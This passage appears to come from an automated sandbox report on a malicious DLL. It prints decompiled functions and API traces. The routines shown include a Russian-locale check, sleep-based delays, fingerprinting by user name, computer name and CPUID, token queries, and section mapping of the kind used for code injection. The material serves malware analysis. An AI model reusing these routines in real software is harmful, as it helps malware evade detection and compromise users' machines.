                    • GetLastError.KERNEL32(?,?,?,027C5088,00000001,027C3ECE,00000000,?,027C66D9,00000000,027C3ECE,?,7491C740,027C3ECE,00000000,038C9600), ref: 027C169F
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                    • String ID:
                    • API String ID: 3401600162-0
                    • Opcode ID: 69ef0c0977e1048d7b761ce2903054ed65761bf75a16c927e7180013360f0907
                    • Instruction ID: 5aab6f6f1cca2b9146bcb8d200b63eb0b43fe435f1c6193d69e2c5a2312af604
                    • Opcode Fuzzy Hash: 69ef0c0977e1048d7b761ce2903054ed65761bf75a16c927e7180013360f0907
                    • Instruction Fuzzy Hash: 05514AB1900209FFDB10EFB4D888AAE7BB9FB48354F24846DF919E6241D7708A54DB61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 3072 e51226-e51236 call e51f1e 3075 e513a3-e513a4 3072->3075 3076 e5123c-e5123e 3072->3076 3077 e5123f-e51246 3076->3077 3078 e51247-e51251 call e52046 3077->3078 3081 e51253-e5126e NtQuerySystemInformation 3078->3081 3082 e51288 3078->3082 3083 e51270 3081->3083 3084 e51273-e51286 call e51cd6 3081->3084 3085 e5128f-e51293 3082->3085 3083->3084 3084->3085 3085->3078 3087 e51295-e512ae call e51ac4 Sleep 3085->3087 3087->3077 3091 e512b0-e512b4 3087->3091 3092 e513a0-e513a2 3091->3092 3093 e512ba-e512d2 GetLocaleInfoA 3091->3093 3092->3075 3094 e512d4-e512e7 GetSystemDefaultUILanguage VerLanguageNameA 3093->3094 3095 e512ec-e512f5 3093->3095 3094->3095 3096 e51392-e51398 3095->3096 3097 e512fb-e512fe 3095->3097 3096->3092 3100 e5139a GetLastError 3096->3100 3098 e51300-e5130b call e51516 3097->3098 3099 e5134f-e51363 call e51f97 3097->3099 3107 e5130d-e5131f GetLongPathNameW 3098->3107 3108 e51349 3098->3108 3105 e51365-e51373 WaitForSingleObject 3099->3105 3106 e51389-e5138f GetLastError 3099->3106 3100->3092 3109 e51375-e5137a GetExitCodeThread 3105->3109 3110 e51380-e51387 CloseHandle 3105->3110 3106->3096 3111 e51341-e51347 3107->3111 3112 e51321-e51332 call e52046 3107->3112 3108->3099 3109->3110 3110->3096 3111->3099 3112->3111 3115 e51334-e5133f GetLongPathNameW call e51cd6 3112->3115 3115->3099
                    C-Code - Quality: 79%
                    			E00E51226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E00E51F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E00E52046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E00E51CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E00E51AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E00E51F97(E00E520A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E00E51516(_t63,  &_a4) != 0) {
							 *0xe541b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0xe541b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E00E52046(_t69 + _t23);
						 *0xe541b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E00E51CD6(_t62);
						goto L21;
					}
				}
			}






















                    0x00e5122c
                    0x00e51231
                    0x00e51236
                    0x00e513a4
                    0x00e5123c
                    0x00e5123f
                    0x00e5123f
                    0x00e51243
                    0x00e51246
                    0x00e51247
                    0x00e5124d
                    0x00e51251
                    0x00e51288
                    0x00e51253
                    0x00e5125b
                    0x00e51261
                    0x00e51263
                    0x00e51268
                    0x00e5126e
                    0x00e51270
                    0x00e51270
                    0x00e51277
                    0x00e5127d
                    0x00e5127d
                    0x00e51281
                    0x00e51281
                    0x00e5128f
                    0x00e51296
                    0x00e5129f
                    0x00e512a2
                    0x00e512a8
                    0x00e512ab
                    0x00e512b4
                    0x00e513a0
                    0x00000000
                    0x00e513a2
                    0x00e512c7
                    0x00e512ca
                    0x00e512d2
                    0x00e512d4
                    0x00e512df
                    0x00e512e7
                    0x00e512e7
                    0x00e512f5
                    0x00e51392
                    0x00e51392
                    0x00e51398
                    0x00e5139a
                    0x00e5139a
                    0x00000000
                    0x00e512fb
                    0x00e512fe
                    0x00e5134f
                    0x00e5134f
                    0x00e5135f
                    0x00e51363
                    0x00e5138f
                    0x00e51365
                    0x00e51368
                    0x00e5136e
                    0x00e51373
                    0x00e5137a
                    0x00e5137a
                    0x00e51381
                    0x00e51381
                    0x00000000
                    0x00e51363
                    0x00e5130b
                    0x00e51349
                    0x00000000
                    0x00e51349
                    0x00e5130d
                    0x00e51312
                    0x00e5131b
                    0x00e5131f
                    0x00e51341
                    0x00e51341
                    0x00000000
                    0x00e51341
                    0x00e51321
                    0x00e51326
                    0x00e5132b
                    0x00e51332
                    0x00000000
                    0x00000000
                    0x00e51337
                    0x00e5133a
                    0x00000000
                    0x00e5133a
                    0x00e512f5

                    APIs
                      • Part of subcall function 00E51F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00E51231), ref: 00E51F2D
                      • Part of subcall function 00E51F1E: GetVersion.KERNEL32 ref: 00E51F3C
                      • Part of subcall function 00E51F1E: GetCurrentProcessId.KERNEL32 ref: 00E51F58
                      • Part of subcall function 00E51F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00E51F71
                      • Part of subcall function 00E52046: RtlAllocateHeap.NTDLL(00000000,?,00E5124D,00000030,74CB63F0,00000000), ref: 00E52052
                    • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 00E5125B
                    • Sleep.KERNELBASE(00000000,00000000,00000030,74CB63F0,00000000), ref: 00E512A2
                    • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 00E512CA
                    • GetSystemDefaultUILanguage.KERNEL32 ref: 00E512D4
                    • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 00E512E7
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00E51319
                    • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00E51337
                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00E520A4,?,00000000), ref: 00E51368
                    • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 00E5137A
                    • CloseHandle.KERNEL32(00000000), ref: 00E51381
                    • GetLastError.KERNEL32(00E520A4,?,00000000), ref: 00E51389
                    • GetLastError.KERNEL32 ref: 00E5139A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                    • String ID:
                    • API String ID: 1327471650-0
                    • Opcode ID: 80be97bbe611baf0d79c99405c56dce5540dbed32aa750fafef82f29aa57a417
                    • Instruction ID: f4f0e91ded205e82a40b7773a4479eec547ec0946d78ddf1561c0030f2068c20
                    • Opcode Fuzzy Hash: 80be97bbe611baf0d79c99405c56dce5540dbed32aa750fafef82f29aa57a417
                    • Instruction Fuzzy Hash: 8241B275901714BEDB20ABB5CC44BAE7AACAF04796F105996FD01F7180EB34CE48D7A0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 3151 e51598-e515ef GetSystemTimeAsFileTime _aulldiv _snwprintf 3152 e515f6-e5160f CreateFileMappingW 3151->3152 3153 e515f1 3151->3153 3154 e51611-e5161a 3152->3154 3155 e51659-e5165f GetLastError 3152->3155 3153->3152 3156 e5161c-e51623 GetLastError 3154->3156 3157 e5162a-e51638 MapViewOfFile 3154->3157 3158 e51661-e51667 3155->3158 3156->3157 3159 e51625-e51628 3156->3159 3160 e51648-e5164e GetLastError 3157->3160 3161 e5163a-e51646 3157->3161 3162 e51650-e51657 CloseHandle 3159->3162 3160->3158 3160->3162 3161->3158 3162->3158
                    C-Code - Quality: 69%
                    			E00E51598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L00E52250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0xe541c4;
				_push(_t15 + 0xe55149);
				_push(_t15 + 0xe55048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L00E5224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0xe541c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                    0x00e51598
                    0x00e515a1
                    0x00e515a5
                    0x00e515ab
                    0x00e515b0
                    0x00e515b5
                    0x00e515b8
                    0x00e515bb
                    0x00e515c0
                    0x00e515c1
                    0x00e515c4
                    0x00e515cf
                    0x00e515d6
                    0x00e515da
                    0x00e515dc
                    0x00e515dd
                    0x00e515e0
                    0x00e515e5
                    0x00e515ef
                    0x00e515f1
                    0x00e515f1
                    0x00e51605
                    0x00e5160b
                    0x00e5160f
                    0x00e5165f
                    0x00e51611
                    0x00e5161a
                    0x00e51630
                    0x00e51638
                    0x00e5164a
                    0x00e5164e
                    0x00000000
                    0x00000000
                    0x00e5163a
                    0x00e5163d
                    0x00e51642
                    0x00e51644
                    0x00e51644
                    0x00e51625
                    0x00e51627
                    0x00e51650
                    0x00e51651
                    0x00e51651
                    0x00e5161a
                    0x00e51667

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00E515A5
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00E515BB
                    • _snwprintf.NTDLL ref: 00E515E0
                    • CreateFileMappingW.KERNELBASE(000000FF,00E541C8,00000004,00000000,?,?), ref: 00E51605
                    • GetLastError.KERNEL32 ref: 00E5161C
                    • MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00E51630
                    • GetLastError.KERNEL32 ref: 00E51648
                    • CloseHandle.KERNEL32(00000000), ref: 00E51651
                    • GetLastError.KERNEL32 ref: 00E51659
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1724014008-0
                    • Opcode ID: 8ba75ae3ea6599a190125c5c4ba2e4d8a600c263104f7e16819d2db2708eef14
                    • Instruction ID: b95beaf9e84d23db23cc3404663e47c79b60ece9d7d453aefe60aeebb415daee
                    • Opcode Fuzzy Hash: 8ba75ae3ea6599a190125c5c4ba2e4d8a600c263104f7e16819d2db2708eef14
                    • Instruction Fuzzy Hash: 6121B3B6A00204BFCB109FA4DC84FAE37A9EB48396F154865FA15F7190D6B099488B60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C3BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 96%
                    			E027C3BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x27ca310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E027C71CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x27ca344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x27ca2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E027C56B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x27ca2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x27ca2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E027C56B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x27ca2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                    0x027c3bd3
                    0x027c3bdb
                    0x027c3bdf
                    0x027c3be2
                    0x027c3be7
                    0x027c3be9
                    0x027c3bee
                    0x027c3bee
                    0x027c3bf4
                    0x027c3bf6
                    0x027c3c03
                    0x027c3c64
                    0x027c3c05
                    0x027c3c0a
                    0x027c3c10
                    0x027c3c15
                    0x027c3c23
                    0x027c3c27
                    0x027c3c36
                    0x027c3c3d
                    0x027c3c44
                    0x027c3c44
                    0x027c3c4f
                    0x027c3c4f
                    0x027c3c27
                    0x027c3c15
                    0x027c3c66
                    0x027c3c6c
                    0x027c3c76
                    0x027c3c78
                    0x027c3c7d
                    0x027c3c8c
                    0x027c3c90
                    0x027c3c9b
                    0x027c3ca2
                    0x027c3ca9
                    0x027c3ca9
                    0x027c3cb5
                    0x027c3cb5
                    0x027c3c90
                    0x027c3cc0
                    0x027c3cc2
                    0x027c3cc5
                    0x027c3cc7
                    0x027c3cca
                    0x027c3ccd
                    0x027c3cd7
                    0x027c3cdb
                    0x027c3cdf

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 027C3C0A
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 027C3C21
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 027C3C2E
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C3C4F
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 027C3C76
                    • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 027C3C8A
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 027C3C97
                    • HeapFree.KERNEL32(00000000,00000000), ref: 027C3CB5
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: HeapName$AllocateComputerFreeUser
                    • String ID:
                    • API String ID: 3239747167-0
                    • Opcode ID: 320f5ec3edf6482bd86260b105007e500655b04ce5fc3d60c3a9698e076a4c8e
                    • Instruction ID: 61c1a34f544302810f44a3d2a5bb2aac2a1ea2a4c16777067c4af2dcde2e0cbd
                    • Opcode Fuzzy Hash: 320f5ec3edf6482bd86260b105007e500655b04ce5fc3d60c3a9698e076a4c8e
                    • Instruction Fuzzy Hash: BC310A72A00209EFD711DFB9DD81A6EB7F9EB48710F71846DE505D3250E730EA519B10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 38%
                    			E027C421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E027C33DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E027C61DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                    0x027c422c
                    0x027c422d
                    0x027c422e
                    0x027c422f
                    0x027c4230
                    0x027c4234
                    0x027c423b
                    0x027c424a
                    0x027c424d
                    0x027c4250
                    0x027c4257
                    0x027c425a
                    0x027c425d
                    0x027c4260
                    0x027c4263
                    0x027c426e
                    0x027c4270
                    0x027c4279
                    0x027c4281
                    0x027c4283
                    0x027c4295
                    0x027c429f
                    0x027c42a3
                    0x027c42b2
                    0x027c42b6
                    0x027c42bf
                    0x027c42c7
                    0x027c42c7
                    0x027c42c9
                    0x027c42c9
                    0x027c42d1
                    0x027c42d7
                    0x027c42db
                    0x027c42db
                    0x027c42e6

                    APIs
                    • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 027C4266
                    • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 027C4279
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 027C4295
                      • Part of subcall function 027C33DC: RtlAllocateHeap.NTDLL(00000000,00000000,027C62F6), ref: 027C33E8
                    • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 027C42B2
                    • memcpy.NTDLL(?,00000000,0000001C), ref: 027C42BF
                    • NtClose.NTDLL(?), ref: 027C42D1
                    • NtClose.NTDLL(00000000), ref: 027C42DB
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                    • String ID:
                    • API String ID: 2575439697-0
                    • Opcode ID: 224cb0fdbea2f9d6e077f5e189aaf23fb47ae8fbbb45ca4c68ceb39cdd9d4f77
                    • Instruction ID: 5b9d45ac3b71c7c5f46d8bb75d6ba7d375a7d4f45b50d9b1024afec842e330b7
                    • Opcode Fuzzy Hash: 224cb0fdbea2f9d6e077f5e189aaf23fb47ae8fbbb45ca4c68ceb39cdd9d4f77
                    • Instruction Fuzzy Hash: 8A21197290011DFBDB019FA5CC85AEEBFBDFF08750F20802AFA05A6110D7719A54DBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 72%
                    			E00E51E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E00E5205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                    0x00e51e7f
                    0x00e51e86
                    0x00e51e87
                    0x00e51e88
                    0x00e51e89
                    0x00e51e8a
                    0x00e51e9b
                    0x00e51e9f
                    0x00e51eb3
                    0x00e51eb6
                    0x00e51eb9
                    0x00e51ec0
                    0x00e51ec3
                    0x00e51eca
                    0x00e51ecd
                    0x00e51ed0
                    0x00e51ed3
                    0x00e51ed8
                    0x00e51f13
                    0x00e51eda
                    0x00e51edd
                    0x00e51ee3
                    0x00e51ee8
                    0x00e51eec
                    0x00e51f0a
                    0x00e51eee
                    0x00e51ef5
                    0x00e51f03
                    0x00e51f03
                    0x00e51eec
                    0x00e51f1b

                    APIs
                    • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 00E51ED3
                      • Part of subcall function 00E5205B: NtMapViewOfSection.NTDLL(00000000,000000FF,00E51EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,00E51EE8,?), ref: 00E52088
                    • memset.NTDLL ref: 00E51EF5
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: Section$CreateViewmemset
                    • String ID: @
                    • API String ID: 2533685722-2766056989
                    • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction ID: 11a0c6a8b2e7131565622654400658ba7f44ed819ed62d5284c4bc3b03116688
                    • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                    • Instruction Fuzzy Hash: 6D212171E00209AFCB11DFA9C8849DEFBF9FF48355F104869E616F3210D7319A498B60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE0D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,00AE0D2E,?,?,?,?,009443B5), ref: 00AE0D6F
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID: AllocateMemoryVirtual
                    • String ID: $J
                    • API String ID: 2167126740-2211503540
                    • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                    • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                    • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                    • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE0D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,00AE0D8D,?,?,?,?,?), ref: 00AE0DC7
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID: FreeMemoryVirtual
                    • String ID: M%J
                    • API String ID: 3963845541-4193894376
                    • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                    • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                    • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                    • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E5205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E00E5205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
